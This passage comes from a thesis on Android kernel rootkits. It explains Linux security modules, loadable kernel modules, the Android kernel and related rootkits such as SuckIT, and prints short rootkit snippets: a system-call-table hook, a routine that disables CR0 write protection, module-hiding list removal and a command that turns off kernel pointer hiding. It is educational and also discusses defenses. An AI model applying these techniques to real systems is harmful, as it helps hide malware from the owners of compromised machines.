with colons.
Username: Is similar to a user name or group of the MAC system [31].
Role: Users can be associated with one or more roles in order to adapt the
RBAC [31].
Type: This is used to group processes in logical groups [31].
MLS security range: Can be used to classify into multiple levels of access.
As we can see in listing 2.3 and 2.4 the security contexts of files or processes
can be displayed by adding the -Z option to commands ls or ps.
Listing 2.3: Security Context of Files
1 root@hammerhead:/ # ls -Z
2 drwxr-xr-x root root u:object_r:device:s0 dev
3 dr-xr-xr-x root root u:object_r:proc:s0 proc
4 -rw-r--r-- root root u:object_r:rootfs:s0 service_contexts
5 drwxr-xr-x root root u:object_r:storage_file:s0 storage
6 dr-xr-xr-x root root u:object_r:sysfs:s0 sys
Listing 2.4: Security Context of Processes
1 root@hammerhead:/ # ps -Z
2 LABEL USER PID PPID NAME
3 u:r:init:s0 root 1 0 /init
4 u:r:kernel:s0 root 2 0 kthreadd
5 u:r:ueventd:s0 root 131 1 /sbin/ueventd
6 u:r:logd:s0 logd 148 1 /system/bin/logd
7 u:r:vold:s0 root 154 1 /system/bin/vold
SMACK
The SMACK module was developed as an easier to use version of SELinux
which also includes a simple form of MAC and security labels. It is currently
used in the Tizen ecosystem [65].
TOMOYO
This approach also uses a MAC system but is path-based instead of security
label based. Also this system learns about valid trees of process invocation
and find out which actions are likely to be valid or invalid. By now this
system hasn’t been adopted in any larger distribution [65].
2. Linux Kernel 20
AppArmor
This system uses a path based MAC scheme which is designed to be simple
to manage, like the TOMOYO system. AppArmor also features a learning
mode to automatically create a security profile of an application. This system
is shipped with Ubuntu and OpenSUSE.
2.2.5 Kernel Capabilities
Another security feature in the Linux kernel are kernel capabilities to offer a
more granular set of privileges than root or not root. This POSIX capabilities
are implemented as a four sets of bitmaps appended to the task_struct.
This feature is not restricted to processes, but it is also used to reduce the
risk caused by files setUID flag. So there are basically four sets of bitmap
which manage the different capabilities [34].
effective: capabilities currently in use
permitted: granted capabilities
inheritable: capabilities inherited to child processes
bset: capability bounding set
Each set consists of a list of bits. Each bit represents a certain system capa-
bility. If, for example, bit 26 is set a process can modify the systems clock
[34].
2.3 Loadable Kernel Modules
Now that we have a rough overview on the overall kernel design and its
subsystems we can start looking into the heart of the thesis - Linux Kernel
Modules. As mentioned before, Linux has a monolithic kernel which includes
everything needed to run in a single kernel image, but if we need some
additional features it’s not practical to reconfigure, build and run a new
kernel every time.
This is the task of a kernel module, which is a piece of code that can be
loaded and unloaded to extend the kernels functionalities during runtime.
The module is a piece of compiled C code just like everything else in the
kernel, but the implementation has to follow some predefined patterns. Lets
take a look at a minimalistic hello world code example in listing 2.5.
2. Linux Kernel 21
Listing 2.5: Hello World LKM
1 #include <linux/module.h> // Needed for the modules macros.
2 #include <linux/kernel.h> // KERN_INFO is defined here
3
4 static int __init module_start(void)
5 {
6 // Prints to the info stream in the kernel log at /proc/kmsg.
7 printk(KERN_INFO "Hello World!");
8 return 0; // Indicate successful loading.
9 }
10
11
12 static void __exit module_stop(void)
13 {
14 printk(KERN_INFO "Bye World!");
15 }
16
17 // Define init and exit function names.
18 module_init(module_start);
19 module_exit(module_stop);
20
21 // Add some infos to be displayed when using lsmod.
22 MODULE_LICENSE("GPL");
23 MODULE_AUTHOR("Marcel Breitenfellner");
24 MODULE_DESCRIPTION("BA1 - Hello World");
2.3.1 Structure
A basic LKM only consists of two functions which are called when the
module is loaded and unloaded. These two functions are registered as the
modules entry and exit point within the kernel through the function calls
module_init and module_exit(). Actually these aren’t real function calls,
but macros that define the (de-)initialization function for this module [59].
There are also a few useful macros that provide general information
about our kernel module. A few self explanatory examples are:
• MODULE_DESCRIPTION()
• MODULE_AUTHOR()
• MODULE_VERSION()
• MODULE_LICENSE()
If none or a non-GPL compatible license is used the kernel is be marked as
tainted until the next reboot, as the kernel modules code is not open source
and therefore can not be verified. This state shows up in all error logs and
bug reports. In this state the kernel module may have not access to all kernel
core functions and data structures [15].
2. Linux Kernel 22
2.3.2 Building
There are two different ways of building our kernel module. We can either
directly integrate our module source code into the Linux kernel source tree
or let it reside in a dedicated directory outside the source tree [59].
Integrating to the Source Tree
If we are for example implementing a driver for a new device and plan to
share our code with the community this is our way to go. First we have to
locate the right directory for our module source code. Drivers are stored in
the drivers/ directory of the source tree, which contains several subdirec-
tories for different device classes like drivers/usb or drivers/block. Once
the right class is found, we create a new directory for our modules source
code. Then we add obj-m += yourmodule/ to the parent directories make-
file [15, 59]. The kbuild system invokes the modules makefile when it needs
to be built.
Dedicated Directory
But we can also create our module outside the Linux source tree. Therefore
we need to create a new directory and set up our makefile (see listing) 2.6.
Listing 2.6: Create Makefile (1)
1 obj-m := module_name.o
2 fishing-objs := module_main.o module_feature.o
The source files module_main.c and module_feature.c are compiled into
module_name.ko when the command shown in listing 2.7 is executed.
Listing 2.7: Create Makefile (2)
1 make -C /path/of/the/kernels/source SUBDIRS=$PWD modules
We will also take a more detailed look into building module when discussing
the sample implementation of a LKM in section 5.4.1.
2. Linux Kernel 23
2.3.3 Managing
To load and manage the kernel module we have a few different commands
on most Linux based systems.
insmod
This is the simplest way to load a module into a running kernel. What it
does is basically just ask the kernel via the init_module system call to
load the specified binary executable and linking format (ELF) image into
the kernel, link all needed symbols and call its defined init function. Before
loading, the kernel checks if the module was built for the current running
version of the kernel by comparing the value of the vermagic, which contains
the buildstring of the target kernel and some target CPU information. This
method doesn’t perform any dependency checks (if the module needs other
modules to be loaded beforehand) or advanced error checking [59]. To load a
module named module.ko we need to execute the following command shown
in listing 2.8 with root permissions.
Listing 2.8: Load Kernel Module
1 insmod module.ko
rmmod
This is the simplest way of removing a kernel module again. Therefore this
command only performs a delete_module system call which matches the
module by its unique name, calls its exit function and finally unloads the
module from the kernel. Using this command to unload the previously loaded
kernel module we need to execute the following command shown in listing
2.9 with root permissions.
Listing 2.9: Unload Kernel Module
1 rmmod module
modprobe
This is a more intelligent way to manage kernel modules which is also rec-
ommended to use. When loading a module, all modules our module depends
on are also be loaded into the kernel. Parameters can also be passed when
loading the module. This tool can also unload a module and its dependencies
as long as the usage count is zero [59].
To load a module called module.ko we need to execute the following com-
mand shown in listing 2.10 with root permissions.
2. Linux Kernel 24
Listing 2.10: Load Kernel Module
1 modprobe module.ko
To unload a module called module.ko we need to execute the following com-
mand shown in listing 2.11 with root permissions.
Listing 2.11: Unload Kernel Module
1 modprobe -r module.ko
modinfo
In section 2.3.1 we looked into all the available macros when implementing
a kernel module. With this command we can make use of the entered infor-
mation to get some basic information about the selected kernel module as
we can see in the example output below.
To get the detailed information of module.ko just enter the command shown
in listing 2.12.
Listing 2.12: Get Detail Informations
1 modinfo module.ko
If we print the detail information provided by our later implemented rootkit
module we would see the output shown in listing 2.13.
Listing 2.13: Example Kernel Module Detail Information
1 filename: ~/BA1/PRO/dev/kernel/module_proc/module.ko
2 description: BA1 Android LKM sample implementation.
3 author: Marcel Breitenfellner
4 license: GPL
5 srcversion: BE690CC13DF17BE156EC820
6 depends:
7 vermagic: 3.4.0-gadb2201 SMP preempt mod_unload ARMv7
2. Linux Kernel 25
lsmod
The last important command, when handling kernel modules, is used for
displaying which modules are currently loaded into the kernel. To retrieve
this list just enter lsmod which prints a list or obtain the information directly
from the kernel through the /proc file system (see section 2.5.3) by executing
the command cat /proc/modules directly in the shell. The exact output
may vary between different Linux distributions, but in listing 2.14 we can
see an example output from an Android device.
Listing 2.14: Show Loaded Kernel Modules on Nexus 5
1 root@hammerhead:/ # lsmod
2 module 13846 0 - Live 0xbf000000 (O)
The output contains the following information:
module the name of the module
13846 memory size of the module in bytes
0 how many instances of the module are currently loaded, zero means
unloaded
- if the module depends on any other module it’s shown here
Live the current status of the kernel module, possible values are Live,
Loading and Unloading
0xbf000000 the memory offset of the module
When executing lsmod the sixth column may only show 0x00000000 as the
memory offset the loaded module. This is a security mechanism to hide
kernel pointers from user space. If we want to disable this security feature
just execute the command shown in listing 2.15 with root permissions.
Listing 2.15: Show Loaded Kernel Modules
1 echo 0 > /proc/sys/kernel/kptr_restrict
2.4 Kernel Rootkits
A rootkit in general is a piece of malicious software, which hides its pres-
ence while having root access to the system. Once infected the rootkit can
spy on the machines activities, load additional malicious code and modify
everything. The rootkit can live in user space or in kernel space [54, 73].
A user space rootkit modifies binaries like ls or ps to hide its presence
from the user. But from the kernel they are pretty easy to detect and even
to remove [73].
2. Linux Kernel 26
We will be looking into kernel space rootkits. Because this type of rootkit
lives in kernel space it is pretty hard to detect and even harder to remove
successfully. After it has managed to infect the system it usually loads its
code into the kernel through a LKM (see section 2.3). Another option to
modify the kernel and place a kernel rootkit is to directly modify it by ac-
cessing the /dev/mem or the /dev/kmem devices, which grant direct memory
access. Once loaded into the kernel there are different ways to modify the
system, all of them have the target to hide its presence, load and hide other
malicious software. There is no chance of detecting the kernel rootkit from
user space, if implemented well [73].
2.4.1 Kernel Modification Techniques
Once the rootkit kernel module was loaded into the kernel, it has several
ways of modifying to achieve its goals.
Hook System Calls
As we discussed in section 2.1.1 the SCT is a list of pointers to functions
which are called when a system call is invoked from user space. As the
only way of communicating between user space and kernel space is through
the SCI, the SCT is a very effective way to go. The only challenge here is
to find the address of the SCT as it is only exported as a kernel symbol
until kernel version 2.4. Possible ways of finding the right address would be
through the interrupt descriptor table (IDT) or the /proc/kallsyms file.
The disadvantage of this method is, that a rootkit can be easily detected,
because the address of the system call has obviously changed [54, 73].
Lets look at an example code snippet (see listing 2.16) of a kernel module
which enables to exchange a pointer from the SCT with a custom function.
In line three there is the method header of the sys_chmod function which is
hooked and assigned later. When the module is loaded the __init function
is called and the SCT is loaded from memory. In this example we already
looked up the sys_call_table pointer from the System.map file, which
contains the memory allocation of all predefined kernel symbols at compile
time. In line 14 the pointer of the sys_chmod function is exchanged with
our hooked_syscall_chmod and finally the original value is stored in the
default_sys_chmod variable. When the module is unloaded the changes are
undone, again with the xch function.
2. Linux Kernel 27
Listing 2.16: Hook System Calls
1 unsigned long *sys_call_table;
2
3 asmlinkage long (*default_sys_chmod)(const char __user *filename,
umode_t mode);
4
5 asmlinkage long hooked_syscall_chmod(char* path, umode_t
permission){
6 // Do something bad.
7 return -1;
8 }
9
10 static int __init module_init(void)
11 {
12 *(long*) &sys_call_table = 0xc0106e64;
13
14 default_sys_chmod = (void*)xchg(&sys_call_table[__NR_chmod],
hooked_syscall_chmod);
15
16 return 0;
17 }
18
19 static void __exit module_exit(void)
20 xchg(&sys_call_table[__NR_chmod], default_sys_chmod);
21 }
Actually the SCT is stored in a read only memory page since Linux kernel
version 2.6 [11]. To address this problem we have to write directly into the
CPU control register. Thanks to Jürgen Quade for the code snippet shown in
listing 2.17 which demonstrates how to disable the memory write protection
during runtime [72].
Listing 2.17: Disable Write Protection [72]
1 void disable_write_protection_cr0(void)
2 {
3 unsigned long value;
4
5 asm volatile("mov %%cr0,%0":"=r" (value));
6 if(value & 0x00010000)
7 {
8 value &= ~0x00010000;
9 asm volatile("mov %0,%%cr0"::"r" (value));
10 }
11 }
2. Linux Kernel 28
Modifying Kernel Objects
A different way to hide for example a kernel modules existence without
modifying the SCT, is to directly modify internally used objects called kernel
objects. These kernel objects have to be modified very carefully, because they
are needed for the system to work properly. The difficulty here is to find the
right list of kernel objects which holds all the loaded LKMs. Usually doubly
linked lists are used here. We have to take care of two different lists where our
to be hidden kernel module is listed. The first one is looked up when the ls
command in user space is called, so we modify the output of /proc/module.
In line two of the following code snippet in listing 2.18 we can see how the
kernel object is removed from the list. The second list, which needs to be
modified in the kernel. is responsible for the /sys/module and is treated in
line three [11].
Listing 2.18: Hide Module
1 int module_init(void) {
2 list_del_init(&__this_module.list);
3 kobject_del(&THIS_MODULE->mkobj.kobj);
4
5 return 0;
6 }
The two functions list_del_init and kobject_del basically just remove
the kernel object from a passed doubly linked list. In a doubly linked list
every node has a prev and a next pointer which point to the previous
and the next object in the list. What the delete function does is to let our
previous object point to our next object and vice versa. So the module isn’t
referenced by any kernel object anymore but is still alive in the memory.
When the lists are traversed for showing its contents, the module can’t be
found anymore and it looks like the module isn’t loaded.
This method can also be rather easily applied to hide processes from
the task_struct and is pretty hard to detect, because these kernel objects
aren’t directly referenced anymore and have to be located in a different way
to detect the modification [73].
Hook Kernel Jump-Tables
Another harder to detect approach of hooking functions is through various
jump tables in the kernel. The difficulty here is also to find them in the
memory and also to write to them [73]. Needless to say that there are already
various methods of exploiting [19, 52].
2. Linux Kernel 29
Patch Kernel Code
The chance of a rootkit to be detected when changing a system call pointer in
the SCT or any other kernel jump table is high [73]. So this approach doesn’t
change the pointer itself, but the code in the genuine system call method.
This is achieved by modifying the first bytes of a system call method which
inserts a jump to the hooking function [19]. This method of changing a
system calls behaviour is rather hard to detect and therefore a good way to
go [73].
2.4.2 Defense
Unfortunately there aren’t many defense methods against kernel rootkits.
Once an intruder gains root access to the machine he can usually just insert
a kernel rootkit without any major problems. But there are two defense
options worth mentioning.
Disable Kernel Module Support
Most kernel level rootkits are LKMs. A very effective way to prevent these
rootkits from being loaded into the kernel, is to disable the kernel module
support when configuring the kernel. In order to do so we need to add
CONFIG_MODULES=n to the .config file before compiling a new kernel.
With this kernel configuration we aren’t able to load modules into the
kernel, so all needed drivers have to be compiled directly into to kernel and
may increase the size and memory usage. For example the Linux kernel
which runs on Android devices has disabled module support to prevent this
type of malicious software.
Disable Direct Memory Access
It is also possible to modify the kernel through the /dev/mem and /dev/kmem
devices. For example the SuckIT rootkit used this method (see section 4.1)
We could disable or remove them, but some rather important software relies
on them. For example the X or any rootkit detector software which needs
direct memory access requires this interface.
2. Linux Kernel 30
2.5 Additional Concepts
We have now gained a rough overview about what the kernel is and how it
works. We will take a sneak peak into another few basic concepts which are
relevant for the implementation part later on.
2.5.1 Process
A process is an active program which actually executes code. But beside that
a process may also need file or network access. Managing this and assigning
a virtual memory region to the process is the kernels responsibility. This
running program can also have multiple execution threads. In the Linux
kernel implementation isn’t a big difference between processes and threads.
The kernels scheduling system is responsible to split all the memory and
processing time in a fair way to all running processes [59].
Internally the kernel holds a doubly linked list of task_struct structures
which contains all necessary information about the process. This structure
is rather big, because the kernel needs to store a lot of information about the
running process. On 32-bit system it’s about 1.7kB in size. This includes,
beside the name and PID, also the assigned virtual memory regions and
processor information, permissions, owner, parent process, process signals,
opened files and ports and much more. All running processes are aligned
in a tree. Every process has a parent and maybe siblings, except PID 1
which is the initial init process which is started after the boot process. To
obtain detailed information about all running processes the kernel creates
a virtual directory in the /proc filesystem for each process which contains
miscellaneous information [59].
2.5.2 Filesystems
The Linux kernel features an innovative approach to provide an open and
abstract interface for different files systems. This kernel subsystem is called
VFS and offers an interface for file access across all supported file systems.
This system defines a set of actions which should be supported by any file
system and offers them through the SCI to user space applications. Sup-
ported actions are for example open(), read() or write() [15].
2. Linux Kernel 31
write() sys_write()
filesystem
write function
User Space VFS Filesystem Physical
Media
Figure 2.10: Function Call Trace for a write() Call [15]
As we can see in figure 2.10 a write() call in user space is relayed to the
sys_write() function in the kernel to the implementation of the file system.
This file system implementation also takes care of the type of the underlying
physical media [15].
The VFS knows a few different types of objects:
superblock: Represents a specific mounted filesystem [59].
inode: Represents a specific file [59].
dentry: Represents a directory entry [59].
file: Represents an opened file [59].
For our later implementation the file object is of special interest, because
it features a set of functions like read() or write() and also readdir()
(see listing 2.19).
Listing 2.19: Function Prototype
1 |int (*readdir) (struct file *, void *, filldir_t);
With the help of this and the passed filldir function it is possible to hide
files from the file system, more details on this in section 5.
2.5.3 Types
There is a huge number of different file systems. But they can be categorized
in different groups.
Disk-based filesystems
This type of filesystems is used to store and manage data on hard disks and
similar systems like flash drives. In table 2.5 we can see a small snipped of
available filesystems and operating systems which they originated from [15].
2. Linux Kernel 32
Name Original Operating System
ext2 Linux
ext3 Linux
ext4 Linux
hfs Apple OS X
hfs+ Apple OS X
sysv UNIX
minix MINIX
vfat Microsoft Windows
ntfs Microsoft Windows
Table 2.5: Disk-based Filesystems [15]
Network filesystems
These type of filesystems allow to access files which are stored on other
computers in the network [15]. For example NFS, AFS or CIFS are supported
network file system by the VFS.
Special filesystems
This third category covers filesystems which doesn’t fit in any of the men-
tioned categories. The most important one for this thesis is the /proc system
which provides an interface to the actual state of some kernel data struc-
tures. As mentioned in section 2.5.1 this filesystem contains a list of all
running processes with some detail informations such as memory status, ac-
quired ports or files. Additionally we can also modify the kernels behavior
by writing to special files in the /proc system [15, 59]. For example we could
activate IPv4 forwarding by writing to the right file as we can see in listing
2.20.
Listing 2.20: Activate Packet Forwarding
1 echo 1 > /proc/sys/net/ipv4/ip_forward
2.5.4 Networking
To user space the only possible way to know which ports are currently opened
in the transport layer is through the matching subfiles of /proc/net/ (e.g.
proc/net/tcp4 for TCP connections over (most likely) IPv4). These files
are so called sequence files where one row of a file describes one opened
connection. Sequence files have four basic functions [1, 27, 79]:
2. Linux Kernel 33
• start(): Initialize the file.
• stop(): Close the file.
• next(): Show the next entry of the file.
• show(): Fill the file buffer with data.
On the kernel side the tcp4_seq_show is responsible for this buffer filling
task. So in order to let opened network connections disappear from user
space view, we need to hook this particular function [79].
2.6 Futex Exploit
This vulnerability was discovered by comex (and later verified as CVE-2014-
3153) in May 2014 and effects most Linux kernel versions until 3.14.5. The
hacker geohot extended this exploit by escalating the privileges to root. He
used this exploit in his Android rooting toolkit TowelRoot, which allows easy
one-click-rooting of Android devices until version 4.4.2. He obfuscated his
implementation of the exploit, but there are also different implementations
of the same scenario [32].
In order to use this exploit to gain root access to a kernel there are
typically two seperate bugs involved. In simple words we can say that there
is a list in the kernel that hold all tasks, which wait for a priority inheritance
futex. As the call is usually blocking anyway, this list element is held in
the kernel stack which is dangerous, because if the function exits without
removing the element there is a null reference. With a special combination
of kernel calls the previously mentioned behaviour can be triggered, which
leads to a NULL reference from the previous list element. A few more tricks
are used to allocate the memory region of the disposed element again and
bring its content under control. Finally the manipulation of this waiting
list leads to a situation where the exploit can write anywhere in memory,
which means the credentials of a process can be set to 0. This elevates
the processes permissions to root [32, 93–95].
Chapter 3
Android Characteristics
When the mobile operating system Android was developed the Linux kernel
was chosen to be the core of the system due to its proven driver model, good
process- and memory management and the variety of existing drivers [21,
61]. Because the operating system targets mobile devices, some changes had
to be made to the Linux kernel in order to improve the performance and
battery life (see section 3.4) [16]. In addition to that the development team
created their own C library and Java runtime to resolve licensing conflicts
and optimize the system for the limited resources available on mobile device
platforms [61]. In table 3.1 we can get a rough overview about which Linux
kernel versions were used in the major Android releases [29].
Android Version Codename Linux Kernel Version
1.0 (no code name) 2.6.25
1.1 (no code name) 2.6.26
1.5 Cupcake 2.6.27
1.6 Donut 2.6.29
2.0 Eclair 2.6.29
2.2 Froyo 2.6.32
2.3 Gingerbread 2.6.35
3.0 Honeycomb 2.6.36
4.0 Ice Cream Sandwich 3.0.1
4.1 Jelly Bean 3.0.31
4.4 KitKat 3.10
5.0 Lollipop 3.16.1
6.0 Marshmallow 3.18.10
Table 3.1: Linux Kernel Versions vs. Android Releases [7, 8, 35–41, 89]
34
3. Android Characteristics 35
3.1 Android Open Source Project
Big parts of the Android system originate from open source projects (like the
Linux kernel), which require to stay open source when used in a published
project (GPL). The Android operating system consists of two main parts, a
platform (KitKat, Lollipop,..) and the modified Linux kernel. Google hosts a
set of git repositories (https://source.android.com) which contain the source
code of the platform, the kernel, the native development kit (NDK) and the
Android SDK. With the published source code OEMs are able to adapt the
system to their new devices and the community is able to modify the system
to their needs and provide updates for devices long after they reached their
official end of life.
3.2 Bionic
On most Linux distributions the glibc (GNU C library) is used to provide all
library routines. Some developers think that its memory footprint is too big,
that’s why Android uses a different implementation - the Bionic [61, 87].
The main focus of this project was to have fast execution paths, avoid edge
cases, keep the memory footprint small and remain a simple structure [61].
The library also has to be rather small because it is loaded into memory for
each process (~200kB Bionic vs. ~400kB glibc). Bionic has built in support
for all Android specific features, but does not fully comply to all POSIX
defined features like C++ exceptions or wide chars. All native code, which
should run on an Android device, has to be compiled against Bionic and
not glibc [21].
3.3 Virtual Machines
User applications in Android aren’t delivered as native binaries. At compile
time the Java source files (*.java) are compiled into *.class files and then
further translated into *.dex (Dalvik EXecutable) files, which contain the
byte code that is needed to execute the program on the device. Originally
there was the DVM, which compiled the *.dex files just before they needed
to be executed into native machine code (just in time (JIT)), but nowadays
the Android Runtime (ART) assumes this part. In order to save memory
the *.dex file format uses mechanisms like constant pools, which store all
constant values used within a class. This can result in significant memory
savings as shown in table 3.2. The garbage collector also has to take care of
the shared pools and keep track of all the references to not free any memory
too early, this is implemented by using marking bits [30].
3. Android Characteristics 36
Application
Uncompressed
JAR [bytes]
Compressed
JAR [bytes]
Uncompressed
DEX [bytes]
Web Browser 470,312 (100%) 232,065 (49%) 209,248 (44%)
Alarm Clock 119,200 (100%) 61,658 (52%) 53,020 (44%)
Table 3.2: Constant Pool Memory Savings [30]
3.3.1 Dalvik Virtual Machine
Until Android 5.0 the DVM was responsible to run the applications in the
*.dex format on the devices. In order to do so the virtual machine uses a
JIT compiler, which compiles the needed sources during runtime into native
code. This has the advantage of a rather low overall CPU load while de-
livering platform independent code because only the currently needed parts
are compiled, but result in a constant higher memory usage of ~100kB per
process caused by the JIT compiler. Unlike the common Java Virtual Ma-
chine (JVM), which uses a stack based architecture, the JIT uses a register
based architecture. Nowadays this is obsolete due to the increased computing
power of modern smart phones (see 3.3.2) [10, 14, 77].
3.3.2 Android Runtime
In June 2014 with Android 4.4.4 the ART was introduced as a tech-demo,
which could be enabled on every device through the developer menu. Only
a few months later in November 2014 with Android 5.0 the ART replaced
the DVM per default. The most significant internal change is that the JIT
mechanism was replaced with an ahead in time (AOT) compiler. This means
the complete application is compiled once, usually at install time, into native
code. The obvious advantage is that there is no extra CPU load necessary at
runtime to execute an application because everything is pre-compiled when
installing the application. One downside is that there can’t be any on-the-fly
optimizations of the code, because the code was already compiled [60].
3. Android Characteristics 37
3.4 Unique Android Kernel Features
Over time Google engineers constantly improved and modified the Linux
kernel, some changes have made it into the mainline of the Linux kernel.
So the set of changes between the Linux main source tree and the Android
kernel source tree is not extremely large with 249 patches or 25.000 lines
of code with kernel version 2.6.23 (2011). Those kernel patches target kernel
bugs discovered when developing Android, add new hardware support, im-
prove the power management on mobile devices, add some advanced error
reporting and improve the overall system security and performance [6, 81].
3.4.1 Android Shared Memory
With ashmem a virtual memory region can be allocated by calling the pro-
vided function ashmem_create_region() in order to share it between dif-
ferent processes. If a physical piece of memory is needed, e.g. for hardware
reasons, pmem (see section 3.4.3) is the way to go. The returned file de-
scriptor now needs to be shared with the second process in order to gain
access to the just allocated memory region. To do so we can’t simply share
the pointer of the memory region because every process has its own virtual
address space nor is it possible to create a new memory region with the
same name as used at the first allocation. The common way to go is to share
the file descriptor through the Binder mechanism to finally allow the second
process to gain access this specific virtual memory region [6, 83].
Corresponding files in the kernel source tree:
• $KSRC_ROOT/mm/ashmem.c
3.4.2 Binder
The Binder is an extension to the existing inter-process communication
(IPC) mechanisms in Linux. In the first beta releases of Android the Open-
Binder by Be Inc. implementation was used, but in order to resolve licensing
conflicts the Binder was completely rewritten by Google. This library pro-
vides bindings of functions and data between different processes. There were
already several systems in the Linux kernel which target this problem. Some
examples are: [2, 46, 77]:
• Signal
• Pipe
• Socket
• Semaphore
• Message Queue
• Shared Memory
3. Android Characteristics 38
The Binder improves this already existing IPC mechanisms by avoiding
copies of the memory which needs to be shared by directly copying the writ-
ten memory in the readers ring buffer. It also increases the lifespan of user
space objects, which can be shared and passed between different processes,
while the Binder library keeps track of all the references to the different ob-
jects [82]. The Binder also contains some rather useful features like one- or
two-way binding, which allows uni- or bidirectional communication between
processes, weak references, which allow to keep track of another objects life-
time without increasing their reference count or the link to death facility,
which notifies a process when an observed object or process goes away [43].
Corresponding files in the kernel source tree:
• $KSRC_ROOT/drivers/staging/android/binder.c
• $KSRC_ROOT/drivers/staging/android/binder.h
3.4.3 Process Memory Allocator
pmem is another custom driver which allocates memory, but in contrast to
ashmem, which allocates virtual memory regions, the pmem allocates phys-
ical memory regions usually between 1MB and 16MB in size. The allocated
memory can be shared between user- and kernel space drivers. pmem re-
quires the allocator to hold the file descriptor, generated while allocating
the memory region, on the heap as long as there are references to the mem-
ory region [6, 29].
Corresponding files in the kernel source tree:
• $KSRC_ROOT/drivers/misc/pmem.c
• $KSRC_ROOT/drivers/misc/uid_stat.c
• $KSRC_ROOT/include/linux/android_pmem.h
3.4.4 Logger
This is the kernel part of the integrated logcat logging mechanism. This
system provides four different logging buffers:
main: (user-)application log
radio: radio and phone related log
event: system event log
system: system information log
3. Android Characteristics 39
In figure 3.1 we can see how logcat is connected to the kernel logging sys-
tem and user space logger. Usually an application calls the provided library
method android.util.log with a priority level (VERB, DEBUG, INFO,
WARN or ERROR) which is then passed through the liblog to the kernel
implementation of the logger. The different log types are now available as
device files at:
• /dev/log/main
• /dev/log/radio
• /dev/log/event
• /dev/log/system
It’s also possible to read the logs directly through logcat or via adbd over a
remote connection (USB, TCP) [2, 6, 29].
Java Program
android.util.logNative Program
liblog
com.android.internal.
osAndroidPrintStream
logcat adbd
main
radioevent
system
/dev/log/
Kernel Space
User Space
System.out.err
Device
stdout
stdout/stderr
Host
adb
Server
adb logcat
Eclipse
Figure 3.1: Android Logging System Architecture [29]
Corresponding files in the kernel source tree:
• $KSRC_ROOT/drivers/staging/android/logger.c
• $KSRC_ROOT/drivers/staging/android/logger.h
3. Android Characteristics 40
3.4.5 Wakelocks
This added feature is used to prevent the system from entering sleep states
to keep the system responsive and the delays low, e.g. when the screen is
switched on or the user is currently typing. Wakelocks can be created from
user- or kernel space [2, 6].
Corresponding files in the kernel source tree:
• $KSRC_ROOT/include/linux/wakelock.h
• $KSRC_ROOT/kernel/power/userwakelock.c
• $KSRC_ROOT/kernel/power/wakelock.c
3.4.6 Out of Memory Handling
Nomen est omen. This kernel module is initialized by the init.rc with
default rules for the memory threshold, which define when a process is killed
if a memory shortage occurs. In user space processes can refine those rules
by adjusting the oom_adj value to extend a processes lifespan if needed.
But as soon as these boundaries are about to be exceeded, the module kills
processes until enough memory pages are free again. Caches are generally
considered to be free until they’re not locked [2, 6].
Corresponding files in the kernel source tree:
• $KSRC_ROOT/drivers/misc/lowmemorykiller.c
• $KSRC_ROOT/security/lowmem.c
3.4.7 Alarm Timers
Alarm Timers are used to tell the kernel from user space when it wants to
be woken up again. The kernel takes care about the sleep state in the mean
time and schedules a wakelock at the appropriate time.
Corresponding files in the kernel source tree:
• $KSRC_ROOT/drivers/rtc/alarm.c
• $KSRC_ROOT/include/linux/android_alarm.h
3. Android Characteristics 41
3.4.8 Paranoid Networking
On Android every installed application has its dedicated UID and GID for
security reasons. There are also groups for different permissions on the sys-
tem as we can see in table 3.3. If an application is about to be launched, the
zygote process spawns its process and set the correct UID and GID. On the
kernel side, the paranoid networking extensions checks the GID of the calling
process if it tries to access some restricted functionality (like networking); if
the access is granted it proceeds execution [2, 6, 29].
AID / Name GID Capability
AID_NET_BT_ADMIN 3001 Create Bluetooth sockets, diagnosis
and manage connections
AID_NET_BT 3002 Create SCO, RFCOMM or L2CAP
Bluetooth sockets
AID_INET 3003 Create AF_INET(6) sockets
AID_NET_RAW 3004 Create RAW and PACKET sockets
AID_NET_ADMIN 3005 CAP_NET_ADMIN capability, di-
rect network interface access, manip-
ulate routing tables and sockets
Table 3.3: Networking Capability Groups [29]
Corresponding files in the kernel source tree:
• $KSRC_ROOT/include/linux/android_aid.h
3.4.9 Timed Output
This modification provides an interface to user space where the general pur-
pose input/outputs (GPIOs) can be set and reset after a given timeout which
is used to control the vibrator code [2, 6].
Corresponding files in the kernel source tree:
• $KSRC_ROOT/drivers/staging/android/timed_gpio.c
• $KSRC_ROOT/drivers/staging/android/timed_gpio.h
• $KSRC_ROOT/drivers/staging/android/timed_output.c
• $KSRC_ROOT/drivers/staging/android/timed_output.h
3. Android Characteristics 42
3.4.10 RAM Console
This allows to store the kernel log (printk) to the RAM, so it can be viewed
after the next reboot, when a kernel panic occurred, in /proc/last_kmsg/
[2, 6].
Corresponding files in the kernel source tree:
• $KSRC_ROOT/drivers/staging/android/ram_console.c
3.4.11 Other Changes
There is also a bunch of other small changes in the kernel [2, 6]:
Goldfish: Virtual CPU used in the Android Emulator.
YAFFS2: This was an open source flash memory file system which was used
by Android until version 2.2 (Froyo). It wasn’t part of the standard
Linux kernel, so Google added it to Android.
Bluetooth: Fixed some Bluetooth headset bugs and added Bluetooth de-
bugging and access control functions.
Scheduler: Slight changes were made here to improve the process scheduler
and timing.
Android Debug Bridge (ADB): Is a protocol which connects to a de-
veloper machine through USB or TCP/IP and allows to control the
device for development purposes.
Chapter 4
Related Work
In this chapter we will discuss other papers and releases that inspired and
helped me while working on this topic. There is a lot of information about
Linux kernel rootkits, but when it comes to Android specific kernel rootkits
there isn’t that much work available, especially because Android restricts
loading Linux kernel modules by default. We will take a look at two Linux
kernel rootkits as well as two papers targeting Android kernel level rootkits
in detail. For each project we will show up how their unique features were
implemented.
4.1 SuckIt
The SUperuser Control KIT is worth mentioning because it uses a rather
different approach of infecting the system and is able to run on kernels even
without LKM support or the System.map file. There isn’t much malware
active which uses this way of infection so this is remarkable. The original
source code was published for the i386 platform in Phrack article in 2001
by sd and devik. The infection is done via the /dev/kmem file, which needs
root permissions to be read from and written to, but allows direct access to
the systems memory. This rootkit won’t touch the original SCT, but copies
it into a different memory location and exchanges a few (25) system calls
with modified versions. The key is to change the SCT pointer in the interrupt
table of the CPU to the new memory location. If a user space process invokes
a system call with the software interrupt 0x80, the compromised pointer
to the modified SCT is used to determine which modified system call is
executed. The complete process of infecting the system is achieved only by
using system calls and direct memory access (DMA), but it does not rely on
the internal kernel data structure, which allows the rootkit to stay portable
and compatible to different kernel versions [20, 58, 74].
43
4. Related Work 44
4.1.1 Features
• Password protected reverse shell initiated by a spoofed packet to by-
pass most firewalls.
• The server side (rootkit itself) can run only using system calls, without
